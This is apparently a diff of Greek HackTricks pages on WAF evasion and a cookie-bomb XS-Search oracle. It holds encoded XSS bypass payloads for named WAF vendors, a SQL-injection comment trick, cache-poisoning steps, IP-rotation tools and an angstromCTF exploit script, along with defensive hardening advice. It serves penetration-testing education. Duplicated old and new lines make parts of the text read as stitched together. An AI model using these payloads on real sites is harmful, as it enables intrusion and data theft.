Ορισμένα CDN/WAF stacks εφαρμόζουν αδύναμο ή καθόλου έλεγχο περιεχομένου σε GET αιτήματα για στατικά assets (π.χ. μονοπάτια που τελειώνουν σε `.js`), ενώ εξακολουθούν να εφαρμόζουν γενικούς κανόνες όπως rate limiting και IP reputation. Συνδυασμένο με auto-caching στατικών επεκτάσεων, αυτό μπορεί να εκμεταλλευτεί για να παραδοθούν ή να τοποθετηθούν κακόβουλες παραλλαγές που επηρεάζουν τις επακόλουθες HTML αποκρίσεις.
|
||||
|
||||
Πρακτικές περιπτώσεις χρήσης:
|
||||
|
||||
- Στείλτε payloads σε μη αξιόπιστες κεφαλίδες (π.χ., `User-Agent`) σε ένα GET σε μια διαδρομή `.js` για να αποφύγετε τον έλεγχο περιεχομένου, στη συνέχεια ζητήστε αμέσως την κύρια HTML για να επηρεάσετε την προσωρινά αποθηκευμένη παραλλαγή.
|
||||
- Χρησιμοποιήστε μια φρέσκια/καθαρή IP; μόλις μια IP σημειωθεί, οι αλλαγές δρομολόγησης μπορεί να κάνουν την τεχνική αναξιόπιστη.
|
||||
- Στο Burp Repeater, χρησιμοποιήστε "Αποστολή ομάδας παράλληλα" (στυλ ενός πακέτου) για να τρέξετε τις δύο αιτήσεις (`.js` και στη συνέχεια HTML) μέσω της ίδιας διαδρομής front-end.
|
||||
- Στείλτε payloads σε μη αξιόπιστες κεφαλίδες (π.χ. `User-Agent`) σε ένα GET προς ένα μονοπάτι `.js` για να αποφύγετε τον έλεγχο περιεχομένου, και στη συνέχεια ζητήστε άμεσα το κύριο HTML για να επηρεάσετε την κρυφή παραλλαγή.
|
||||
- Χρησιμοποιήστε ένα φρέσκο/καθαρό IP· μόλις ένα IP σηματοδοτηθεί, οι αλλαγές δρομολόγησης μπορούν να κάνουν την τεχνική αναξιόπιστη.
|
||||
- Στο Burp Repeater, χρησιμοποιήστε "Send group in parallel" (single-packet style) για να κάνετε αγώνα τα δύο αιτήματα (`.js` και μετά HTML) μέσω του ίδιου front-end μονοπατιού.
|
||||
|
||||
Αυτό συνδυάζεται καλά με την δηλητηρίαση cache αντανάκλασης κεφαλίδας. Δείτε:
|
||||
Αυτό ταιριάζει καλά με header-reflection cache poisoning. Βλ.:
|
||||
|
||||
- {{#ref}}
|
||||
{{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [Πώς βρήκα μια 0-Click Account takeover σε μια δημόσια BBP και το εκμεταλλεύτηκα για να αποκτήσω πρόσβαση σε λειτουργίες επιπέδου Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### Απόκρυψη <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -148,9 +149,9 @@ cache-deception/README.md
|
||||
# Path blacklist bypass - Tomcat
|
||||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||||
```
|
||||
### Συμβατότητα Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
### Unicode Συμβατότητα <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες [εδώ](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), χαρακτήρες που μοιράζονται συμβατότητα Unicode μπορεί να είναι σε θέση να παρακάμψουν το WAF και να εκτελούνται ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.compart.com/en/unicode).
|
||||
Ανάλογα με την υλοποίηση της Unicode κανονικοποίησης (περισσότερες πληροφορίες [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), χαρακτήρες που μοιράζονται συμβατότητα Unicode ενδέχεται να καταφέρουν να παρακάμψουν το WAF και να εκτελεστούν ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν [here](https://www.compart.com/en/unicode).
|
||||
|
||||
#### Παράδειγμα <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -160,24 +161,24 @@ cache-deception/README.md
|
||||
```
|
||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την ανάρτηση στο blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), προκειμένου να παρακάμψουμε WAFs που είναι ικανοί να διατηρούν ένα πλαίσιο της εισόδου του χρήστη, θα μπορούσαμε να εκμεταλλευτούμε τις τεχνικές WAF για να κανονικοποιήσουμε πραγματικά την είσοδο των χρηστών.
|
||||
Όπως αναφέρεται στο [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), για να παρακάμψουμε WAFs που μπορούν να διατηρήσουν το context της εισόδου χρήστη, μπορούμε να εκμεταλλευτούμε τεχνικές του WAF ώστε να κανονικοποιήσει την είσοδο του χρήστη.
|
||||
|
||||
Για παράδειγμα, στην ανάρτηση αναφέρεται ότι **η Akamai αποκωδικοποίησε μια είσοδο χρήστη 10 φορές**. Επομένως, κάτι όπως `<input/%2525252525252525253e/onfocus` θα θεωρηθεί από την Akamai ως `<input/>/onfocus`, το οποίο **μπορεί να νομίζει ότι είναι εντάξει καθώς η ετικέτα είναι κλειστή**. Ωστόσο, όσο η εφαρμογή δεν αποκωδικοποιεί την είσοδο 10 φορές, το θύμα θα δει κάτι όπως `<input/%25252525252525253e/onfocus`, το οποίο είναι **ακόμα έγκυρο για μια επίθεση XSS**.
|
||||
Για παράδειγμα, στο post αναφέρεται ότι **Akamai URL decoded a user input 10 times**. Επομένως κάτι όπως `<input/%2525252525252525253e/onfocus` θα φανεί από την Akamai ως `<input/>/onfocus` το οποίο **μπορεί να θεωρηθεί ασφαλές καθώς το tag είναι κλειστό**. Ωστόσο, όσο η εφαρμογή δεν κάνει URL decode την είσοδο 10 φορές, το θύμα θα δει κάτι σαν `<input/%25252525252525253e/onfocus` το οποίο είναι **ακόμα έγκυρο για μια XSS επίθεση**.
|
||||
|
||||
Επομένως, αυτό επιτρέπει να **κρύβουμε payloads σε κωδικοποιημένα στοιχεία** που θα αποκωδικοποιήσει και θα ερμηνεύσει το WAF ενώ το θύμα δεν θα το κάνει.
|
||||
Άρα αυτό επιτρέπει να **κρύψουμε payloads σε κωδικοποιημένα components** που ο WAF θα αποκωδικοποιήσει και θα ερμηνεύσει, ενώ το θύμα δεν θα το δει έτσι.
|
||||
|
||||
Επιπλέον, αυτό μπορεί να γίνει όχι μόνο με URL κωδικοποιημένα payloads αλλά και με άλλες κωδικοποιήσεις όπως unicode, hex, octal...
|
||||
Επιπλέον, αυτό μπορεί να γίνει όχι μόνο με URL encoded payloads αλλά και με άλλες κωδικοποιήσεις όπως unicode, hex, octal...
|
||||
|
||||
Στην ανάρτηση προτείνονται οι εξής τελικές παρακάμψεις:
|
||||
Στο post προτείνονται τα ακόλουθα τελικά bypasses:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
Αναφέρεται επίσης ότι ανάλογα με **το πώς ορισμένα WAFs κατανοούν το πλαίσιο** της εισόδου του χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτούμε. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επιτρέπει να τοποθετηθεί οτιδήποτε μεταξύ `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλια). Επομένως, μια SQL injection όπως `/*'or sleep(5)-- -*/` δεν θα ανιχνευθεί και θα είναι έγκυρη καθώς το `/*` είναι η αρχική συμβολοσειρά της ένεσης και το `*/` είναι σχολιασμένο.
|
||||
Αναφέρεται επίσης ότι, ανάλογα με το **πώς κάποιοι WAFs αντιλαμβάνονται το context** της εισόδου χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτεί κανείς. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επέτρεπε να μπει οτιδήποτε ανάμεσα σε `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλιο). Επομένως, ένα SQLinjection όπως `/*'or sleep(5)-- -*/` δεν θα εντοπιζόταν και θα ήταν έγκυρο καθώς το `/*` είναι η αρχή της injection ακολουθίας και το `*/` είναι σχολιασμένο.
|
||||
|
||||
Αυτού του είδους τα προβλήματα πλαισίου μπορούν επίσης να χρησιμοποιηθούν για **να εκμεταλλευτούν άλλες ευπάθειες από αυτές που αναμένονται** να εκμεταλλευτούν από το WAF (π.χ. αυτό θα μπορούσε επίσης να χρησιμοποιηθεί για να εκμεταλλευτεί μια XSS).
|
||||
Αυτό το είδος προβλημάτων context μπορεί επίσης να χρησιμοποιηθεί για να **εκμεταλλευτεί άλλες ευπάθειες εκτός από αυτή που αναμενόταν** να μπλοκάρει ο WAF (π.χ. μπορεί να χρησιμοποιηθεί για να εκτελέσει XSS).
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
@ -188,15 +189,15 @@ h2c-smuggling.md
|
||||
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Δημιουργία ενός URL πύλης API για χρήση με ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Παρόμοιο με το fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Πρόσθετο Burp Suite που χρησιμοποιεί IP πύλης API
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων κοντέινερ ενεργοποιούνται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10.000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακάμψουν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών και κεφαλαίων, προσθήκη αλλαγών γραμμής και κωδικοποίηση payloads. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προήλθαν από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
Διάφορες τεχνικές μπορούν να χρησιμοποιηθούν για να παρακαμφθούν τα regex φίλτρα σε firewalls. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών/κεφαλαίων, προσθήκη line breaks, και κωδικοποίηση payloads. Πόροι για τα διάφορα bypasses υπάρχουν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και στο [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προέρχονται από [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## Εργαλεία
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Πρόσθετο του Burp για την προσθήκη άχρηστων δεδομένων σε αιτήματα για την παράκαμψη των WAF με βάση το μήκος
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin για να προσθέτει junk data σε requests ώστε να παρακάμπτονται WAFs με βάση το μήκος
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -2,7 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Το παρακάτω **script** που έχει ληφθεί από [**εδώ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) εκμεταλλεύεται μια λειτουργία που επιτρέπει στον χρήστη να **εισάγει οποιοδήποτε ποσό cookies**, και στη συνέχεια φορτώνει ένα αρχείο ως script γνωρίζοντας ότι η πραγματική απάντηση θα είναι μεγαλύτερη από την ψευδή και μετά. Αν είναι επιτυχές, η απάντηση είναι μια ανακατεύθυνση με μια URL που προκύπτει μεγαλύτερη, **πολύ μεγάλη για να διαχειριστεί ο διακομιστής, οπότε επιστρέφει έναν κωδικό κατάστασης http σφάλματος**. Αν η αναζήτηση αποτύχει, δεν θα συμβεί τίποτα γιατί η URL είναι μικρή.
|
||||
Αυτή η τεχνική συνδυάζει:
|
||||
- Cookie bombing: γεμίζοντας τον browser του θύματος με πολλά/μεγάλα cookies για το target origin έτσι ώστε οι επόμενες αιτήσεις να χτυπήσουν όρια του server/του request (π.χ. request header size, URL size σε redirects, κ.λπ.).
|
||||
- Error-event oracle: εξετάζοντας ένα cross-origin endpoint με ένα <script> (ή άλλο subresource) και διακρίνοντας καταστάσεις χρησιμοποιώντας onload vs onerror.
|
||||
|
||||
Κύρια ιδέα
|
||||
- Βρείτε ένα target endpoint του οποίου η συμπεριφορά διαφέρει για δύο καταστάσεις που θέλετε να δοκιμάσετε (π.χ., αναζήτηση “hit” vs “miss”).
|
||||
- Βεβαιωθείτε ότι το μονοπάτι “hit” θα προκαλέσει μια βαριά αλυσίδα redirects ή μακρύ URL ενώ το μονοπάτι “miss” παραμένει σύντομο. Φουσκώστε τα request headers χρησιμοποιώντας πολλά cookies ώστε μόνο το μονοπάτι “hit” να προκαλεί αποτυχία του server με HTTP error (π.χ., 431/414/400). Το σφάλμα αντιστρέφει το onerror event και γίνεται oracle για XS-Search.
|
||||
|
||||
Πότε λειτουργεί αυτό
|
||||
- Μπορείτε να προκαλέσετε τον browser του θύματος να στείλει cookies στον στόχο (π.χ., τα cookies έχουν SameSite=None ή μπορείτε να τα ορίσετε σε πρώτο-πλευρικό context μέσω ενός popup window.open).
|
||||
- Υπάρχει λειτουργία της εφαρμογής που μπορείτε να εκμεταλλευτείτε για να ορίσετε αυθαίρετα cookies (π.χ., endpoints “save preference” που μετατρέπουν ελεγχόμενα ονόματα/τιμές input σε Set-Cookie) ή για να κάνετε post-auth redirects που ενσωματώνουν δεδομένα ελεγχόμενα από τον επιτιθέμενο στο URL.
|
||||
- Ο server αντιδρά διαφορετικά στις δύο καταστάσεις και, με φουσκωμένα headers/URL, η μία κατάσταση ξεπερνά κάποιο όριο και επιστρέφει ένα error response που προκαλεί onerror.
|
||||
|
||||
Σημείωση σχετικά με τα server errors που χρησιμοποιούνται ως oracle
|
||||
- 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. [MDN documents 431 and typical causes like excessive cookies.]()
|
||||
|
||||
Πρακτικό παράδειγμα (angstromCTF 2022)
|
||||
Το παρακάτω script (από ένα δημόσιο writeup) εκμεταλλεύεται μια λειτουργία που επιτρέπει στον επιτιθέμενο να εισάγει αυθαίρετα cookies, και στη συνέχεια φορτώνει ένα cross-origin search endpoint ως script. Όταν το query είναι σωστό, ο server εκτελεί ένα redirect που, μαζί με το cookie bloat, ξεπερνά τα όρια του server και επιστρέφει status error, οπότε το script.onerror ενεργοποιείται· διαφορετικά δεν συμβαίνει τίποτα.
|
||||
```html
|
||||
<>'";
|
||||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||||
@ -57,4 +74,53 @@ break
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Γιατί το popup (window.open)?
|
||||
- Οι σύγχρονοι browsers μπλοκάρουν ολοένα και περισσότερο τα third-party cookies. Το άνοιγμα ενός top-level window προς τον στόχο κάνει τα cookies first‑party, οπότε οι Set-Cookie απαντήσεις από τον στόχο θα διατηρηθούν, επιτρέποντας το cookie-bomb βήμα ακόμα και με περιορισμούς στα third‑party cookies.
|
||||
|
||||
Generic probing helper
|
||||
Αν ήδη έχετε τρόπο να ορίζετε πολλά cookies στο target origin (first-party), μπορείτε να επαναχρησιμοποιήσετε αυτό το ελάχιστο oracle εναντίον οποιουδήποτε endpoint του οποίου η επιτυχία/αποτυχία οδηγεί σε διαφορετικά αποτελέσματα δικτύου (status/MIME/redirect):
|
||||
```js
|
||||
function probeError(url) {
|
||||
return new Promise((resolve) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = url;
|
||||
s.onload = () => resolve(false); // loaded successfully
|
||||
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
}
|
||||
```
|
||||
Συμβουλές για την κατασκευή του oracle
|
||||
- Κάντε την “θετική” κατάσταση πιο «βαριά»: αλυσιδώστε ένα επιπλέον redirect μόνο όταν η προϋπόθεση (predicate) είναι true, ή κάντε το redirect URL να αντικατοπτρίζει ανεξέλεγκτη είσοδο χρήστη ώστε να μεγαλώνει με το υποτεθέν πρόθεμα.
|
||||
- Φουσκώστε τις κεφαλίδες: επαναλάβετε το cookie-bomb μέχρι να παρατηρηθεί ένα συνεπές σφάλμα στη «βαριά» διαδρομή. Οι servers συνήθως ορίζουν όριο στο μέγεθος των header και θα αποτύχουν νωρίτερα όταν υπάρχουν πολλές cookies.
|
||||
- Σταθεροποιήστε: εκτελέστε πολλαπλές παράλληλες ενέργειες Set-Cookie και ανιχνεύστε επανειλημμένα για να εξομαλύνετε το θόρυβο χρονισμού και caching.
|
||||
|
||||
Related XS-Search tricks
|
||||
- URL length based oracles (no cookies needed) μπορούν να συνδυαστούν ή να χρησιμοποιηθούν ως εναλλακτική όταν μπορείτε να επιβάλετε πολύ μεγάλο request target:
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
{{#endref}}
|
||||
|
||||
Αμυντικά μέτρα και σκληροποίηση
|
||||
- Κάντε τις απαντήσεις επιτυχίας/αποτυχίας αδιακρίτως όμοιες:
|
||||
- Αποφύγετε conditional redirects ή μεγάλες διαφορές στο μέγεθος της απάντησης μεταξύ καταστάσεων. Επιστρέψτε το ίδιο status, ίδιο Content-Type και παρόμοιο body length ανεξάρτητα από την κατάσταση.
|
||||
- Αποκλείστε cross-site subresource probes:
|
||||
- SameSite cookies: ορίστε ευαίσθητα cookies σε SameSite=Lax ή Strict ώστε τα subresource requests όπως <script src> να μην τα μεταφέρουν· προτιμήστε Strict για auth tokens όπου είναι δυνατό.
|
||||
- Fetch Metadata: επιβάλετε μια Resource Isolation Policy για να απορρίπτετε cross-site subresource loads (π.χ. αν Sec-Fetch-Site != same-origin/same-site).
|
||||
- Cross-Origin-Resource-Policy (CORP): ορίστε CORP: same-origin (ή τουλάχιστον same-site) για endpoints που δεν προορίζονται να ενσωματωθούν ως cross-origin subresources.
|
||||
- X-Content-Type-Options: nosniff και σωστό Content-Type σε JSON/HTML endpoints για να αποφύγετε εξαίρετες συμπεριφορές load-as-script.
|
||||
- Μειώστε την ενίσχυση header/URL:
|
||||
- Περιορίστε τον αριθμό/μέγεθος των cookies που ορίζονται· καθαρίστε λειτουργίες που μετατρέπουν αυθαίρετα πεδία φορμών σε Set-Cookie.
|
||||
- Κανονικοποιήστε ή περικόψτε τα ανακλώμενα δεδομένα σε redirects· αποφύγετε την ενσωμάτωση μακρών, ελεγχόμενων από τον attacker, συμβολοσειρών σε Location URLs.
|
||||
- Κρατήστε τα όρια του server συνεπή και αποτύχετε ομοιόμορφα (αποφύγετε ειδικές σελίδες σφάλματος μόνο για ένα branch).
|
||||
|
||||
Σημειώσεις
|
||||
- Αυτή η κατηγορία επιθέσεων συζητείται γενικά ως “Error Events” XS-Leaks. Το βήμα του cookie-bomb είναι απλώς ένας βολικός τρόπος για να ωθήσετε μόνο ένα branch πέρα από τα όρια του server, παράγοντας ένα αξιόπιστο boolean oracle.
|
||||
|
||||
|
||||
|
||||
## Αναφορές
|
||||
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
|
||||
- MDN: 431 Request Header Fields Too Large (συνηθές με πολλές cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user